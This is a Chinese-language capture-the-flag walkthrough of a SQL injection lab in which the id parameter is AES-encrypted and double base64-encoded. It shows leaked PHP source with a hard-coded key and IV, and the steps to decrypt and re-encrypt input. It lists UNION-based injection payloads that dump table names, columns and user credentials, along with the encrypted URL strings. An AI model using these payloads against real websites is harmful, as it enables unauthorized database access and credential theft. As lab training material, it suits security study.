SQL注入漏洞测试(参数加密)
解题思路以及步骤:
启动靶场环境并进入
发现右下方有可以点击的地方,点进去查看一下
进入后发现url当中有加密
说明传入的数据被加密了,在源码当中通过解密分析得到原值,才可以得到查询结果。
根据题目的提示:
观察url的信息
通过观察url的信息提示,我们进行爆破该网站的目录,看能不能得到有用的信息
爆破出来的目录进行访问,查看
点击访问该目录信息得到以下内容
list.php为该站点首页即该登录界面
list.zip可能为备份的打包文件,点击下载
下载到本地后,解压后查看,发现是源码,如下:
<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-6)!=='_mozhe'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>
通过源码分析可得知:
各个php函数含义和作用可查看网上相关资源,搜索查阅即可。
两次base64解密
得到该AES加密的偏移量和秘钥后,可进行解密
(AES加密方式输出方式可以base64方式输出)
先将此字符串进行base64解密,然后再进行AES解密,将base64解密后的结果放到AES界面工具的密文当中,结合秘钥和偏移量以及填充,可得原值。
[在线base64解密工具]:Base64 编码/解码 | 菜鸟工具 (runoob.com) 或使用工具也可以
[在线AES解密工具]:在线AES加密解密、AES在线加密解密、AES encryption and decryption–查错网 (chacuo.net)
[在线AES解密平台]:AES加密、AES解密 - 在线工具 - OKTools
先将ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09进行base64解密
解密后得到:
eII8c3JeL0t0dxM7wb3Nzg==
将此值作为密文放到AES加解密平台当中,在将源码当中的秘钥和偏移量取出来,解密即可
明文:eII8c3JeL0t0dxM7wb3Nzg==
秘钥:ydhaqPQnexoaDuW3
偏移量:2018201920202021
填充值尝试即可
接下来就可以开始注入了,注意观察源码的另一个细节
这意思是将会进行判断我们传入的参数的后六位是否有_mozhe 如果没有则会跳转回index.php页面
尝试注入:
首先将sql语句写好然后进行AES加密,再进行base64加密,然后在放入到url当中即可。
都是同样的道理,先AES加密,再base64加密,将最后的加密结果放到url当中去访问执行即可。
注入语句:
1 and 1=1_mozhe
1 and 1=2_mozhe
判断字段个数:
1 order by 1_mozhe
1 order by 2_mozhe
.....
1 order by 5_mozhe的时候报错,说明有4列字段
判断回显点:
-1 union select 1,2,3,4_mozhe
查看数据库以及数据库版本:
-1 union select 1,database(),version(),4_mozhe
查看数据表的信息:
-1 union select 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()_mozhe
查看数据表的列信息:
-1 union select 1,database(),group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'_mozhe
获取敏感信息(username、password等):
-1 union select 1,database(),group_concat(name,"+",password,"+",status),4 from StormGroup_member_mozhe
首先AES加密
再base64加密
最后的加密结果,再放到url当中去:
页面无变化,将1=1,换成1=2
同样的方法,先AES加密,再base64加密后,得到最后的加密结果,再放到url当中去访问:
1 and 1=2_mozhe
加密后的结果为:
L2d4cHU0dngxOU1hMTY1RWNzenBuUT09
页面没有显示内容,返回空白,由此可见存在注入,构造sql语言即可
判断字段的个数:
同理,将构造的sql语句还是先AES加密,再base64加密,将最后的加密结果放到url当中去访问即可!
1 order by 1_mozhe
正常回显,将1换成2,3,4依次尝试,同样的先AES加密再base64加密,最后的加密结果放到url当中访问
当到1 order by 5_mozhe的时候报错,说明只有4列字段
1 order by 5_mozhe
报错
说明有4类字段信息
判断回显点:
查看当前数据库以及版本:
查看数据表:
获取列的信息:
获取用户的敏感信息:
获取成功
分别将获取的密码进行解密
尝试登录:
用户名:mozhe
密码:dsan13
用户名:mozhe
密码:580325
哪个成功登录用哪个,由于查出来的结果status值为1的可正常登录,所以第二个可登录成功
成功进入后台,获取到key
以上构造的sql语句AES加密,base64加密后的结果,通过url访问分别为:
判断回显点:
eGdkNThpcFRybng4VnpTQkppY3FDbzMrekZGemhheTVieUZVM2NqYmRlST0=
查询数据库以及版本:
eGdkNThpcFRybng4VnpTQkppY3FDb3B6cDN4UkU4UmxYUml0SnFOUzNiSG12bi9Nb0tJTkhBV1lhblRhYW5rYg==
查看数据表的信息:
eGdkNThpcFRybng4VnpTQkppY3FDZ25xQ0dSUCtaMzRxazhncDR6dkxpeU1wMnRIVGN0SEFSblZlTFlZR2lQcytmNUxjUWxzVW9pUm1OajN3U0NzQWxnZTNrQUxyRFlQd1kxQ1ZtaCtXMDMxbGpMNG4xVGlLdkRQSGdFd0UrRUk0aEd1bDg5OE9wWlpzbHZUdG1paVcxK05yR1dsOTlKWVF0YUNwVnladHJZPQ==
查看数据表的列的信息:
eGdkNThpcFRybng4VnpTQkppY3FDZ25xQ0dSUCtaMzRxazhncDR6dkxpd1NmaXU0U3hEUThrVmRKS1dGZGZvTGhlN0I0Tlc1bGIvbE9NRzVvelRRQW8wWkJ2UCtXaVNpSEl5NDRPeDdrQkt1L0ZSd3N0OTg5VkhyUVBqU1JVNEJSNUtyODk2K1pNcnZ6QVFZRTlZRGZRdjFmK05zaHpHM2V1K2Z4Z2ZBdkI3Ym5BTW14R2V6Q3Yra1k5bksrVTFO
获取敏感数据(name和password、status)
eGdkNThpcFRybng4VnpTQkppY3FDZ25xQ0dSUCtaMzRxazhncDR6dkxpdzV2MkRjSTFQb3owYXdFUi92TkZPN0QyWU82TG5TWHpSTVlaRVhFeG5FcUkyZEkwbUlyalRYWHkxTDhrYkFhRWxoZEg2YnhmeCtUUTlXWXNxaWFjajlHanNFVWpHbExYZ0N0azI5bUF1d0lnPT0=
文章不妥之处,欢迎批评指正!